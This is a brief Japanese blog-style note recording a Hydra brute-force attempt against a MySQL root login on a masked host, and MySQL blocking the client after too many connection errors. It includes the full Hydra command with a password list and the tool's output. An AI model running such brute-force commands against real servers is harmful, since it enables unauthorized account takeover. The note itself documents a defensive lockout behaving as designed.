hydraでmysqlへブルートフォースアタックしてみたところ、ブロックされた。
しきい値を超えて、連続で接続に失敗するとブロックする仕様とのこと。

# hydra -l root -P passwordlists/all.lst x.x.x.x mysql
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-09 07:28:59
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 118207 login tries (l:1/p:118207), ~29552 tries per task
[DATA] attacking mysql://x.x.x.x:3306/
[ERROR] Host 'y.y.y.y' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
[ERROR] Host 'y.y.y.y' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
[ERROR] Host 'y.y.y.y' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
...

参考

https://qiita.com/yamayamasan/items/6a1f5476e0a0d52c09f0